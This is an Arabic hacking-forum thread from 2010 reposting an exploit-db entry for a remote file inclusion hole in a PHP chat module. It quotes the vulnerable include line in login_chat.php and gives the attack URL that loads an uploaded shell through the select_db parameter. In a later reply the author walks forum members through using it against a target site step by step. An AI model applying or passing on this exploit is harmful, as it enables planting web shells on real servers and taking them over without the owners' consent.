ثغرة جديده من هكر عرعر

ViRuS Qalaa · 07-21-2010, 06:45 AM

كود PHP:

  *# Exploit Title:   php_chat Remote File inclusion Vulnerability  

 
# Date: 2010/07/20  

 
# Author: HaCkEr arar  

 
# Email: [email]y.0@hotmail.de[/email]  

 
# My Sites : [url]www.vbspiders.com[/url]  

 
# Script home:  

 
[url]http://www.opensourcescripts.com/dir/PHP/Chat/php_chat_module_for123_flash_chat_4902.html[/url]  

 
# Tested on: Windows  

 
# Team hacker:HaCkEr aRaR & ViRuS Qalaa >>>X-MaN HaCk3r TeaM  

 
# ViRuS Qalaa: [email]em9@live.com[/email]  

 
:::::::::::::::::::::::::  

 
=================Exploit=================  

 
   

 
-=[ vuln c0de ]=-  

 
include('db/'.$select_db.'.php');  

 
login_chat.php  

 
Line:41  

 
   

 
----exploit----  

 
   

 
http://{localhost}/{path}login_chat.php?select_db=shell.txt?  

 
   

 
---------greatz----------  

 
Greatz to :  

 
ViRuS Qalaa,VoLc4n0,Members [url]www.j1q1.com[/url]  

 
   

 
and My friends Others and My friends in MSN  

 
EnJoY o_O* 

_____________________________________________________

http://www.exploit-db.com/exploits/14425/

المصدر: :: vBspiders Professional Network ::

eyvm []d]i lk i;v uvuv

BayBi HaCk · 07-21-2010, 10:50 AM

[motr][motr1]بارك الله فيك يا اخ فايروس يشرفني ان اكون اول من يرد عليك[/motr1][/motr]

z3r0 b0mb3r · 07-21-2010, 10:58 AM

شكرا وبارك الله فيك

hassn1402 · 07-21-2010, 12:07 PM

كيف الاستغلال

Q2-FOX2R · 07-21-2010, 12:28 PM

مشكووورين حبيبي

بس اعتقد النوع ده من الثغرات قريب ينقرض ههههههه

بسبب الاصدار الجديد للملقم بي آتش بي

yatta · 07-21-2010, 04:52 PM

اذا ممكن .. كيف طريقة الاستغلال

ViRuS Qalaa · 07-21-2010, 05:10 PM

[align=center]اخي طريقة الاستغلال كذا
----

كود PHP:

http://{localhost}/{path}/login_chat.php?select_db=shell.txt?

اولا رابط الموقع نضعة بدل {localhost}
ثانيا المجلد لي فية السكريب نضعة بدل {path} واذا كان السكريب قي الواجة نمسح هذة
ثالثا الملف والدالة هذة

كود PHP:

/login_chat.php?select_db=

رابعا نضع بدل shell.txt شل مرفوع بصيغة txt
خامسا نضع في الاخر علامة استفهام
وتحياتي لكم [/align]

hack!n9 · 07-22-2010, 05:40 PM

مشكور يا غالي عل تغرة بس ماهو دورك

أدوات الموضوع
مشاهدة صفحة طباعة الموضوع أرسل هذا الموضوع إلى صديق
انواع عرض الموضوع
العرض العادي الانتقال إلى العرض المتطور الانتقال إلى العرض الشجري

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
الحققققق ثغرة جديده بمنتديات vb	حربي هكر	قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات	4	04-10-2011 02:14 PM
ثغرة ميتا جديدة لإختراق ويندوز فيستا + شرح استغلالها , تحميل الميتا الجديد ! 500 ثغرة :]	Hαcĸer'ѕ Kιɴɢ	قســم إختــراق الأجهــزة	4	11-27-2010 04:01 AM
رسالة خطا جديده!!!!!!	SaQr	جـــ'ابات العناكــ'ب	12	04-09-2010 12:51 AM
[ خبـر ] : ثغرة جديده في هاك vBulletin Radio and TV Player	xman2	قســم تطويــر المــــواقع	0	06-24-2009 04:30 PM

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

ثغرة جديده من هكر عرعر

قـسـم إخـتـراق الـمـواقـع والـسـيرفـرات